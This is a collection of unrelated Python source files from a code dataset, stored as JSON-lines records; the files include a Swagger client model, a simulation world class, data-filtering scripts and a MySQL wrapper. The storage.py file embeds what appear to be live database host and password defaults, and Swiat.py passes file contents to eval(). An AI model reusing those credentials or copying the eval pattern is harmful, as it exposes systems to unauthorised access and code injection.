main():\n turtle.tracer(0,0)\n turtle.hideturtle()\n turtle.onscreenclick(clickhandler)\n draw_board(board)\n turtle.mainloop()\nmain()\n\n\n","sub_path":"CS final/tictactoe Sicong Liu.py","file_name":"tictactoe Sicong Liu.py","file_ext":"py","file_size_in_byte":7682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"525460744","text":"# coding: utf-8\n\n\"\"\"\n GTI525 - Spectacles et Billets\n\n API pour spectacles et billets - GTI525 # noqa: E501\n\n OpenAPI spec version: 1\n Contact: paul-david.page.1@ens.etsmtl.ca\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom swagger_client.models.billets import Billets # noqa: F401,E501\n\n\nclass Spectacles(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'spectacle_id': 'int',\n 'show_name': 'str',\n 'show_date': 'date',\n 'nb_billets_vendus': 'int',\n 'nb_billets_scan': 'int',\n 'status': 'str',\n 'billets': 'list[Billets]'\n }\n\n attribute_map = {\n 'spectacle_id': 'spectacleId',\n 'show_name': 'showName',\n 'show_date': 'showDate',\n 'nb_billets_vendus': 'nbBilletsVendus',\n 'nb_billets_scan': 'nbBilletsScan',\n 'status': 'status',\n 'billets': 'billets'\n }\n\n def __init__(self, spectacle_id=None, show_name=None, show_date=None, nb_billets_vendus=None, nb_billets_scan=None, status=None, billets=None): # noqa: E501\n \"\"\"Spectacles - a model defined in Swagger\"\"\" # noqa: E501\n\n self._spectacle_id = None\n self._show_name = None\n self._show_date = None\n self._nb_billets_vendus = None\n self._nb_billets_scan = None\n self._status = None\n self._billets = None\n self.discriminator = None\n\n if spectacle_id is not None:\n self.spectacle_id = spectacle_id\n if show_name is not None:\n self.show_name = show_name\n if show_date is not None:\n self.show_date = show_date\n if nb_billets_vendus is not None:\n self.nb_billets_vendus = nb_billets_vendus\n if nb_billets_scan is not None:\n self.nb_billets_scan = nb_billets_scan\n if status is not None:\n self.status = status\n if billets is not None:\n self.billets = billets\n\n @property\n def spectacle_id(self):\n \"\"\"Gets the spectacle_id of this Spectacles. # noqa: E501\n\n\n :return: The spectacle_id of this Spectacles. # noqa: E501\n :rtype: int\n \"\"\"\n return self._spectacle_id\n\n @spectacle_id.setter\n def spectacle_id(self, spectacle_id):\n \"\"\"Sets the spectacle_id of this Spectacles.\n\n\n :param spectacle_id: The spectacle_id of this Spectacles. # noqa: E501\n :type: int\n \"\"\"\n\n self._spectacle_id = spectacle_id\n\n @property\n def show_name(self):\n \"\"\"Gets the show_name of this Spectacles. # noqa: E501\n\n\n :return: The show_name of this Spectacles. # noqa: E501\n :rtype: str\n \"\"\"\n return self._show_name\n\n @show_name.setter\n def show_name(self, show_name):\n \"\"\"Sets the show_name of this Spectacles.\n\n\n :param show_name: The show_name of this Spectacles. # noqa: E501\n :type: str\n \"\"\"\n\n self._show_name = show_name\n\n @property\n def show_date(self):\n \"\"\"Gets the show_date of this Spectacles. # noqa: E501\n\n\n :return: The show_date of this Spectacles. # noqa: E501\n :rtype: date\n \"\"\"\n return self._show_date\n\n @show_date.setter\n def show_date(self, show_date):\n \"\"\"Sets the show_date of this Spectacles.\n\n\n :param show_date: The show_date of this Spectacles. # noqa: E501\n :type: date\n \"\"\"\n\n self._show_date = show_date\n\n @property\n def nb_billets_vendus(self):\n \"\"\"Gets the nb_billets_vendus of this Spectacles. # noqa: E501\n\n\n :return: The nb_billets_vendus of this Spectacles. # noqa: E501\n :rtype: int\n \"\"\"\n return self._nb_billets_vendus\n\n @nb_billets_vendus.setter\n def nb_billets_vendus(self, nb_billets_vendus):\n \"\"\"Sets the nb_billets_vendus of this Spectacles.\n\n\n :param nb_billets_vendus: The nb_billets_vendus of this Spectacles. # noqa: E501\n :type: int\n \"\"\"\n\n self._nb_billets_vendus = nb_billets_vendus\n\n @property\n def nb_billets_scan(self):\n \"\"\"Gets the nb_billets_scan of this Spectacles. # noqa: E501\n\n\n :return: The nb_billets_scan of this Spectacles. # noqa: E501\n :rtype: int\n \"\"\"\n return self._nb_billets_scan\n\n @nb_billets_scan.setter\n def nb_billets_scan(self, nb_billets_scan):\n \"\"\"Sets the nb_billets_scan of this Spectacles.\n\n\n :param nb_billets_scan: The nb_billets_scan of this Spectacles. # noqa: E501\n :type: int\n \"\"\"\n\n self._nb_billets_scan = nb_billets_scan\n\n @property\n def status(self):\n \"\"\"Gets the status of this Spectacles. # noqa: E501\n\n Status du spectacle # noqa: E501\n\n :return: The status of this Spectacles. # noqa: E501\n :rtype: str\n \"\"\"\n return self._status\n\n @status.setter\n def status(self, status):\n \"\"\"Sets the status of this Spectacles.\n\n Status du spectacle # noqa: E501\n\n :param status: The status of this Spectacles. # noqa: E501\n :type: str\n \"\"\"\n allowed_values = [\"à voir\", \"en cours\", \"passé\"] # noqa: E501\n if status not in allowed_values:\n raise ValueError(\n \"Invalid value for `status` ({0}), must be one of {1}\" # noqa: E501\n .format(status, allowed_values)\n )\n\n self._status = status\n\n @property\n def billets(self):\n \"\"\"Gets the billets of this Spectacles. # noqa: E501\n\n\n :return: The billets of this Spectacles. # noqa: E501\n :rtype: list[Billets]\n \"\"\"\n return self._billets\n\n @billets.setter\n def billets(self, billets):\n \"\"\"Sets the billets of this Spectacles.\n\n\n :param billets: The billets of this Spectacles. # noqa: E501\n :type: list[Billets]\n \"\"\"\n\n self._billets = billets\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Spectacles):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"api/client/swagger_client/models/spectacles.py","file_name":"spectacles.py","file_ext":"py","file_size_in_byte":8262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"359891465","text":"from emannotationschemas.base import BoundSpatialPoint, \\\n SpatialPoint, \\\n AnnotationSchema\nimport marshmallow as mm\n\n\nclass SynapseSchema(AnnotationSchema):\n pre_pt = mm.fields.Nested(BoundSpatialPoint, required=True,\n description=\"presynaptic point\",\n order=0)\n ctr_pt = mm.fields.Nested(SpatialPoint, required=True,\n description=\"central point\",\n order=1)\n post_pt = mm.fields.Nested(BoundSpatialPoint, required=True,\n description=\"presynaptic point\",\n order=2)\n size = mm.fields.Float(description=\"size of synapse\")\n\n @mm.post_load\n def validate_type(self, item):\n # check that the annotation type is present in the object as 'synapse'\n assert item['type'] == 'synapse'\n\n pre_id = item['pre_pt'].get('root_id', None)\n post_id = item['post_pt'].get('root_id', None)\n\n # if the root_id is present\n # we should set the valid flag depending up on this rule\n # when the root_id is not present\n # (i.e. when posting new annotations with no root_id's in mind)\n # then the valid flag should be not present\n if pre_id is not None:\n if (pre_id == post_id):\n item['valid'] = False\n else:\n item['valid'] = True\n else:\n item.pop('valid', None)\n return item\n","sub_path":"emannotationschemas/synapse.py","file_name":"synapse.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"117350454","text":"from Owca import Owca\nfrom Wilk import Wilk\nfrom Trawa import Trawa\nfrom Mlecz import Mlecz\nfrom Guarana import Guarana\nfrom WilczeJagody import WilczeJagody\nfrom Zolw import Zolw\nfrom Lis import Lis\nfrom Antylopa import Antylopa\nfrom Czlowiek import Czlowiek\n\nclass Swiat():\n _lista = list()\n _plansza = []\n\n\n def __init__(self):\n for i in range(0, 400):\n self._plansza.append(False)\n\n self.nowyOrganizm(5, 5, 'O')\n self.nowyOrganizm(5, 6, 'O')\n self.nowyOrganizm(5, 8, 'O')\n self.nowyOrganizm(5, 7, 'W')\n self.nowyOrganizm(10, 15, 'W')\n self.nowyOrganizm(15, 15, 'W')\n self.nowyOrganizm(19,3, 'T')\n self.nowyOrganizm(8, 11, 'Z')\n self.nowyOrganizm(8, 14, 'Z')\n self.nowyOrganizm(11, 12, 'L')\n self.nowyOrganizm(1, 18, 'L')\n self.nowyOrganizm(18, 18, 'M')\n self.nowyOrganizm(7, 3, 'G')\n self.nowyOrganizm(7, 1, 'G')\n self.nowyOrganizm(0, 0, 'J')\n self.nowyOrganizm(14, 14, 'A')\n self.nowyOrganizm(3, 3, 'A')\n self.nowyOrganizm(10, 10, 'C')\n\n\n\n def nowyOrganizm(self, x, y, gatunek):\n if len(self._lista)==400:\n return\n\n if gatunek == 'O':\n temp = Owca()\n elif gatunek == 'W':\n temp = Wilk()\n elif gatunek == 'T':\n temp = Trawa()\n elif gatunek == 'M':\n temp = Mlecz()\n elif gatunek == 'G':\n temp = Guarana()\n elif gatunek == 'J':\n temp = WilczeJagody()\n elif gatunek == 'Z':\n temp = Zolw()\n elif gatunek == 'L':\n temp = Lis()\n elif gatunek == 'A':\n temp = Antylopa()\n elif gatunek == 'C':\n temp = Czlowiek()\n else:\n raise Exception(\"Niepoprawny gatunek. Nie mozna stworzyc organizmu.\")\n\n self._plansza[x+20*y] = True\n temp.setX(x)\n temp.setY(y)\n temp.setSwiat(self)\n self._lista.append(temp)\n\n #print(\"Nowy organizm: \", gatunek, \" na polu: \", x, \" \", y)\n\n def gdzieCzlowiek(self):\n\n for i in range(0, len(self._lista)):\n\n if self._lista[i].getGatunek() == 'C':\n return i\n return -1\n\n def getStanPola(self, x, y):\n #print(\"Pole: \", x+y*20, \"X: \", x, \"Y: \", y)\n #print(self._plansza[399])\n return self._plansza[x+y*20]\n\n def setStanPola(self, x, y, value):\n self._plansza[x+y*20] = value\n\n def getLista(self):\n return self._lista\n\n def zmienStanPola(self, x, y, value):\n self._plansza[x+y*20]=value\n\n def getOrganizmXY(self, x, y):\n for i in range(0,len(self._lista)):\n if self._lista[i].getX()==x and self._lista[i].getY()==y:\n return i\n return -1\n\n def wszystkieRuszone(self):\n for i in range(0,len(self._lista)):\n if self._lista[i].getAkcja()==False:\n return False\n return True\n\n def wykonajTure(self):\n while self.wszystkieRuszone()==False:\n maxIni = -1\n for i in range(0,len(self._lista)):\n if self._lista[i].getInicjatywa() > maxIni and self._lista[i].getAkcja()==False:\n maxIni = self._lista[i].getInicjatywa()\n\n for i in range(0,len(self._lista)):\n if self._lista[i].getInicjatywa() == maxIni and self._lista[i].getAkcja()==False:\n self._lista[i].setAkcja(True)\n self._lista[i].akcja()\n break\n for i in range (0,len(self._lista)):\n self._lista[i].setAkcja(False)\n\n def eksmituj(self, organizm, swiatB):\n x = organizm.getX()\n y = organizm.getY()\n\n self._plansza[x+y*20] = False\n self._lista.remove(organizm)\n swiatB.getLista().append(organizm)\n\n def zapisz(self):\n plik = open(\"zapis.mzn\", 'w')\n for i in range (0, len(self._lista)):\n parametry = (self._lista[i].getGatunek(), self._lista[i].getX(), self._lista[i].getY(), self._lista[i].getSila())\n linia = str(parametry)\n plik.write(linia)\n plik.write('\\n')\n\n def wczytaj(self):\n plik = open (\"zapis.mzn\", 'r')\n self._lista = []\n for line in plik.readlines():\n organizm = eval(line)\n self.nowyOrganizm(organizm[1], organizm[2], organizm[0])\n self._lista[len(self._lista) - 1].setSila(organizm[3])\n\n\n\n\n","sub_path":"Swiat.py","file_name":"Swiat.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"314758240","text":"#!/usr/bin/env python\n\n#\n# Copyright 2017-2019 Crown Copyright\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport os\nimport shutil\nfrom resource_management import *\n\nclass Gaffer (Script):\n\n\tPKG_JARS_PROPERTY = 'gaffer.deploy.package.jars'\n\tHDFS_JARS_PROPERTY = 'gaffer.deploy.hdfs.jars'\n\n\tdef install (self, env):\n\t\t# Grab config\n\t\tconfig = Script.get_config()\n\t\tcomponent = config['componentName']\n\t\tcomponentConfig = config['componentConfig'][component]\n\n\t\t# Parse and set config\n\t\tcopyPackageJars = True\n\t\tcopyHdfsJars = False\n\n\t\tif Gaffer.PKG_JARS_PROPERTY in componentConfig:\n\t\t\tcopyPackageJars = bool(componentConfig[Gaffer.PKG_JARS_PROPERTY])\n\n\t\tif Gaffer.HDFS_JARS_PROPERTY in componentConfig:\n\t\t\tcopyHdfsJars = True\n\n\t\tLogger.info(\"Copy JARs from inside add-on package: %s\" % copyPackageJars)\n\t\tLogger.info(\"Copy JARs from a location in HDFS: %s\" % copyHdfsJars)\n\n\t\t# Delete any existing additional JARs first\n\t\tdst = config['configurations']['global']['app_root'] + '/lib/ext/'\n\t\tLogger.info(\"Destination Directory: %s\" % dst)\n\t\tshutil.rmtree(dst)\n\n\t\t# Copy additional JARs that have been bundled inside this add-on package\n\t\tif copyPackageJars:\n\t\t\tsrc = config['commandParams']['addonPackageRoot'] + '/package/files/'\n\t\t\tLogger.info(\"Copying additional JARS from add-on package: %s\" % src)\n\t\t\tshutil.copytree(src, dst)\n\n\t\t\tfiles = os.listdir(dst)\n\t\t\tfor f in files:\n\t\t\t\tLogger.info(\"\\tCopied %s\" % f)\n\n\t\t# Copy additional JARs from a location in HDFS\n\t\tif copyHdfsJars:\n\t\t\thdfsSrc = format(componentConfig[Gaffer.HDFS_JARS_PROPERTY])\n\t\t\thadoopConfDir = config['configurations']['accumulo-env']['hadoop_conf_dir']\n\t\t\tLogger.info(\"Copying additional JARs from HDFS: %s\" % hdfsSrc)\n\n\t\t\tExecuteHadoop(\n\t\t\t\t('fs', '-get', hdfsSrc + '/*', dst),\n\t\t\t\tlogoutput = True,\n\t\t\t\tconf_dir = hadoopConfDir\n\t\t\t)\n\n\t\t\tnewFiles = os.listdir(dst)\n\t\t\tfor f in newFiles:\n\t\t\t\tif f not in files:\n\t\t\t\t\tLogger.info(\"\\tCopied %s\" % f)\n\nif __name__ == \"__main__\":\n\tGaffer().execute()\n","sub_path":"slider/package/scripts/gaffer.py","file_name":"gaffer.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"542406377","text":"import http\n\nimport click\n\nfrom .api import delete_chart_version\n\n\ndef get_name_and_versions_to_delete(chart_response, keep=2):\n \"\"\"\n Get name and unused versions from chart api response. Please see test if confusing about the input and output.\n If less than 1 to keep, return empty empty to delete\n :param chart_response: api response of charts\n :param keep: number of versions to keep. default only keep one\n :return: Dict(str, list) contains chart name and versions\n \"\"\"\n name_and_versions = dict()\n\n if keep < 1:\n return name_and_versions\n\n for k, v in chart_response.items():\n name_and_versions[k] = list()\n count = 0\n\n for value in v:\n if count >= keep:\n name_and_versions[k].append(value['version'])\n else:\n count += 1\n return name_and_versions\n\n\ndef delete_name_and_versions(name_and_versions):\n \"\"\"\n Call the endpoint to delete unused charts\n :param name_and_versions: Dict(str, list) which stores chart name and its versions in list\n :return:\n \"\"\"\n for name, versions in name_and_versions.items():\n for version in versions:\n click.echo(f'Will remove chart: {name}, version: {version}')\n resp = delete_chart_version(name, version)\n\n if resp.status_code == http.HTTPStatus.OK:\n click.echo(f'Removed chart: {name}, version: {version}')\n else:\n click.echo(f\"Fail to delete chart: {name}, version: {version}, \"\n f\"status: {resp.status_code}, reason: {resp.reason}\", color='red')\n","sub_path":"chart_museum_cleaner/cleaner.py","file_name":"cleaner.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"330999558","text":"import sys\nsys.path.append(\"/mnt/moehlc/home/idaf_library\")\n#import mahotas\nimport vigra\nimport libidaf.idafIO as io\nimport numpy as np\nfrom scipy import ndimage\nfrom scipy.stats import nanmean\n#import matplotlib.pyplot as plt\nimport time\nimport pickle\nimport os\nimport multiprocessing as mp\n\ndef nanmeanFilter(x):\n\treturn nanmean(x)\n\ndef streaming3Dfilter(data,outdata,fsize):\n\tamax=np.array(data.shape)-1 #max index\n\tamin=amax-amax #min index\n\n\tfor i in range(amax[0]+1): #x dim\n\t\tfor j in range(amax[1]+1): # y dim\n\t\t\tfor k in range(amax[2]+1): # z dim\n\t\t\t\tupper = np.array([i,j,k])+fsize\n\t\t\t\tlower = np.array([i,j,k])-fsize \n\t\t\t\t#calculate upper and lower indices\n\t\t\t\tupper = np.min(np.array([upper,amax]),axis =0)\n\t\t\t\tlower = np.max(np.array([lower,amin]),axis =0)\n\n\t\t\t\tx = data[lower[0]:upper[0]+1,lower[1]:upper[1]+1,lower[2]:upper[2]+1].flatten()\n\t\t\t\t#raise('hallo')\n\t\t\t\toutdata[i,j,k] = nanmean(x)\n\t\t\tprint('writing slice' + str(j) + 'to '+ outdata.filename)\t\n\t\t\toutdata.flush() #write to disk\n\n\ndef importStack(path,fname):\n\tabsname = path +fname\n\tzsize = vigra.impex.numberImages(absname)\n\tim =vigra.readImage(absname, index = 0, dtype='FLOAT')\n\t#vol = np.zeros([im.height,im.width,zsize])\n\tvol = np.memmap('tmpVolDat2/' + fname[0:-4],dtype='float64',mode = 'w+', shape = (im.height,im.width,zsize))\n\t#raise('hallo')\n\tfor i in range(zsize):\n\t\tprint(\"importing slice \" + str(i) + ' of file '+fname)\n\t\tim=np.squeeze(vigra.readImage(absname, index = i, dtype='FLOAT'))\n\t\tvol[:,:,i] = im\n\tvol[vol == 0] = np.nan\n\tvol.flush()\n\treturn vol\n\ndef filterAndSave(fname,path,savepath,filterSize):\n\tvol = importStack(path,fname)\n\t#volsmall =vol[100:150,100:150,100:101]\n\t#volsmall = vol\n\t\n\t\n\ttry:\n\t\tos.makdirs(savepath)\n\texcept:\n\t\tprint(savepath+' already exists')\n\tres = np.memmap(savepath + 'filtered_Size_'+ str(filterSize) + fname,dtype = 'float64', mode = 'w+', shape = vol.shape)\t\n\t#res = ndimage.generic_filter(vol, nanmeanFilter,size = filterSize)\n\tstreaming3Dfilter(vol, res,filterSize)\n\t\n\t#res.close\n\t#vol.close\n\t#with open(savepath + fname[:-4] + '.pickle','w') as f:\n\t#\tpickle.dump([res, filterSize],f)\n\ndef filterAndSave_batch(pattern,path,savepath,filterSize):\n\tfnames = io.getFilelistFromDir(path,pattern) #list of tiff stacks to be filtered\n\tfor i in range(len(fnames)):\n\t#for i in range(1):\n\t\tprint('start filter process for '+fnames[i])\n\t\tmp.Process(target = filterAndSave, args = (fnames[i],path,savepath,filterSize)).start() #parallel processing\n\ndef filterAndSave_batch_serial(pattern,path,savepath,filterSize):\n\tfnames = io.getFilelistFromDir(path,pattern) #list of tiff stacks to be filtered\n\tfor i in range(len(fnames)):\n\t#for i in range(1):\n\t\tprint('start filter process for '+fnames[i])\n\t\tfilterAndSave(fnames[i],path,savepath,filterSize) #parallel processing\n\n\n\nif __name__ == '__main__':\n\n\tpath = '/mnt/moehlc/idaf/IDAF_Projects/140327_raman_bloodvessel_mri/data/segmented/angio_wt/'\n\tsavepath = '/mnt/moehlc/idaf/IDAF_Projects/140327_raman_bloodvessel_mri/data/filteredVoldDat1/angio_wt/'\n\n\tfilterSize = 70\n\n\n\tfilterAndSave_batch('flowSkel',path,savepath,filterSize)\n\tfilterAndSave_batch('distanceSkel',path,savepath,filterSize)\n\t#filterAndSave_batch_serial('flowSkel',path,savepath,filterSize)\n\t#filterAndSave_batch('distanceSkel',path,savepath,filterSize)\n\n\n\n\n\n\n\n","sub_path":"parallel_nanmeanFilterSize70.py","file_name":"parallel_nanmeanFilterSize70.py","file_ext":"py","file_size_in_byte":3292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"224295156","text":"class Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n if not s and not dict:\n return True\n elif not s or not dict:\n return False\n \n dp = [False for i in range(len(s) + 1)]\n dp[0] = True\n \n for i in range(1, len(dp)):\n for word in wordDict:\n if i - len(word) >= 0 and dp[i - len(word)] and s[i - len(word):i] == word:\n dp[i] = True\n \n return dp[-1]\n","sub_path":"Python/139WordBreak.py","file_name":"139WordBreak.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"603944322","text":"# -*- coding: utf-8 -*-\nimport pkg_resources\nimport pandas as pd \nimport numpy as np\nimport math\nimport os\n\nfrom .config import max_filesize\n \n\"\"\"\n texturizer.process: Functions for iteratively processing a large dataset\n in chunks to add the features.\n\n The goal of this module is to permit the feature generation to be done\n on files larger than the memory by processing in chunks.\n\"\"\"\n########################################################################################\nresource_package = __name__\n\ndef load_word_list(filename):\n \"\"\"\n Utility function to load topic vocab word lists for pattern matching.\n \"\"\"\n _path = '/'.join(('data', filename))\n rawd = pkg_resources.resource_string(resource_package, _path)\n word_list = str(rawd).split('\\n')\n _list = [i for i in word_list if i]\n return _list\n\n########################################################################################\ndef process_file_in_chunks(path_to_file, function_to_apply, output_stream):\n \"\"\"\n Given a path to a large dataset we will iteratively load it in chunks and \n apply the supplied function to and write the result to the output stream.\n \"\"\"\n fsize = os.stat(path_to_file).st_size\n sample_prop = max_filesize / fsize \n line_count = count_lines(path_to_file)\n chunks = round(line_count * sample_prop)\n temp = pd.DataFrame()\n data_iterator = pd.read_csv(path_to_file, chunksize=chunks, low_memory=False)\n total_chunks = 0\n stream = start_stream(output_stream)\n for index, chunk in enumerate(data_iterator, start=0):\n startpoint = 0 + (index*chunks)\n total_chunks = index + 1\n temp = function_to_apply(chunk)\n write_to_stream(stream, temp)\n\n\n########################################################################################\ndef extract_file_extension(path_to_file):\n return os.path.splitext(path_to_file)[1]\n\n########################################################################################\ndef load_complete_dataframe(path_to_file):\n \"\"\"\n We load the entire dataset into memory, using the file extension to determine\n the expected format. We are using encoding='latin1' because it appears to \n permit loading of the largest variety of files.\n Representation of strings may not be perfect, but is not important for generating a\n summarization of the entire dataset.\n \"\"\"\n extension = extract_file_extension(path_to_file).lower()\n if extension == \".csv\":\n df = pd.read_csv(path_to_file, encoding='latin1', low_memory=False)\n return df\n if extension == \".tsv\":\n df = pd.read_csv(path_to_file, encoding='latin1', sep='\\t', low_memory=False)\n return df\n if extension == \".xls\" or extension == \".xlsx\" or extension == \".odf\" :\n df = pd.read_excel(path_to_file)\n return df\n\n raise ValueError(\"Unsupported File Type\")\n\n########################################################################################\ndef count_lines(path_to_file):\n \"\"\"\n Return a count of total lines in a file. In a way that filesize is irrelevant\n \"\"\"\n count = 0\n for line in open(path_to_file): count += 1\n return count\n\n########################################################################################\ndef len_or_null(val):\n \"\"\" \n Alternative len function that will simply return numpy.NA for invalid values \n This is need to get sensible results when running len over a column that may contain nulls\n \"\"\"\n try:\n return len(val)\n except:\n return np.nan\n\n########################################################################################\ndef isNaN(num):\n return num != num\n\n","sub_path":"texturizer/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":3748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"146042410","text":"import MySQLdb\nimport traceback\nimport os\n\n\nclass VidoolySql(object):\n\n def __init__(self):\n\n self.host = os.environ.get(\"RDS_HOST\",\n 'vidooly-web.csmobbfeq2q4.us-east-1.rds.amazonaws.com')\n self.user = os.environ.get(\"RDS_USER\", 'vishnu')\n self.password = os.environ.get(\"RDS_PASSWORD\", '7%vGtPo')\n self.database = os.environ.get(\"RDS_DATABASE\", 'vidooly')\n self.channel_table = os.environ.get(\"RDS_TABLE\", 'user_channels')\n\n def connect(self):\n db = MySQLdb.connect(self.host, self.user,\n self.password, self.database)\n cursor = db.cursor()\n return db, cursor\n\n def execute_query(self, _sql, _type):\n _db, _cursor = self.connect()\n try:\n # print(_sql.format(*args))\n # cursor.execute(_sql.format(*args))\n _cursor.execute(_sql)\n if _type.upper() == 'SELECT':\n return self.get_data(_db, _cursor)\n elif _type.upper().upper() == 'UPDATE':\n return self.update_data(_db, _cursor)\n elif _type.upper().upper() == 'INSERT':\n return self.update_data(_db, _cursor)\n except Exception as e:\n traceback.print_exc()\n return e.message\n _db.close()\n\n def get_data(self, db, cursor):\n results = cursor.fetchall()\n return results\n\n def update_data(self, db, cursor):\n try:\n db.commit()\n return 1\n except:\n db.rollback()\n return 0\n\n\nclass DataServerSql(object):\n\n def __init__(self):\n self.host = os.environ.get(\"DB_HOST\", \"127.0.0.1\")\n self.user = os.environ.get(\"DB_USER\", \"root\")\n self.password = os.environ.get(\"DB_PASSWORD\", \"r00t\")\n self.db_name = os.environ.get(\"DB_NAME\", \"vidooly_local\")\n self.channel_stats_update = os.environ.get(\"DB_TABLE\",\n \"channel_last_update\")\n self.demographic_update = os.environ.get(\"DEMOGRAPHIC_TABLE\",\n \"demographic_update\")\n self.all_traffic_source = os.environ.get(\"ALL_TRAFFIC_SOURCE\",\n \"all_traffic_source\")\n self.search_term = os.environ.get(\"SEARCH_TERM\", \"search_term\")\n self.embedded_source = os.environ.get(\"EMBEDDED_SOURCE\",\n \"embedded_source\")\n\n def connect(self):\n db = MySQLdb.connect(self.host, self.user,\n self.password, self.db_name)\n cursor = db.cursor()\n return db, cursor\n\n def execute_query(self, _sql, _type):\n try:\n # print(_sql.format(*args))\n # cursor.execute(_sql.format(*args))\n _db, _cursor = self.connect()\n _cursor.execute(_sql)\n if _type.upper() == 'SELECT':\n return self.get_data(_db, _cursor)\n elif _type.upper().upper() == 'UPDATE':\n return self.update_data(_db, _cursor)\n elif _type.upper().upper() == 'INSERT':\n return self.update_data(_db, _cursor)\n except Exception as e:\n traceback.print_exc()\n return e.message\n _db.close()\n\n def get_data(self, db, cursor):\n results = cursor.fetchall()\n return results\n\n def update_data(self, db, cursor):\n try:\n db.commit()\n return 1\n except:\n db.rollback()\n return 0\n\n","sub_path":"storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"354161924","text":"__author__ = 'nobita'\n\n\nimport socket\nimport environment as env\n\n\n# client connect to vnTokenizer service\nclass client:\n def __init__(self):\n self.RECV_BUFFER = 4096\n\n\n def tokenizer(self, list_data):\n if len(list_data) == 0: return ''\n client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client_socket.connect((env.VNTOKENIZER_HOST, env.VNTOKENIZER_PORT))\n data = u'\\n'.join(list_data) + u'\\r\\n'\n client_socket.send(data.encode('utf-8') + u'\\n')\n return client_socket.recv(self.RECV_BUFFER)\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"292982838","text":"from flask import *\nimport time\n\napp = Flask(__name__)\n\nusers = [] \n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n return render_template('index.html', says=users)\n\n else:\n title = request.form.get('say_title')\n text = request.form.get('say')\n user = request.form.get('say_user')\n date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())\n\n users.append({\"title\": title,\n \"text\": text,\n \"user\": user,\n \"date\": date})\n return redirect(url_for('index'))\n\nif __name__ == '__main__':\n app.run(debug=True, )\n","sub_path":"MessageBoard.py","file_name":"MessageBoard.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"437024681","text":"'''\nThe Core of RemindMe\n~~~~~~~~~~~~~~~~~\nImplemented as pythonic as possible\n\nCopyright (c) 2014 GOCHO MUGO I.\n'''\n\nimport argparse\nimport colorama\nimport os\nimport sqlite3\nimport sys\n\n__version__ = '0.0.3'\nhome = os.path.expanduser('~')\ndb_file = os.path.join(home, '.remindme.db')\n_default = colorama.Fore.WHITE\n_error = colorama.Fore.RED\n_priority = colorama.Fore.MAGENTA\n_reset = colorama.Style.RESET_ALL\n_success = colorama.Fore.GREEN\n\n\ndef read(db_file=db_file):\n content = []\n with sqlite3.connect(db_file) as db:\n cursor = db.cursor()\n try:\n sql = 'SELECT keyword, content FROM 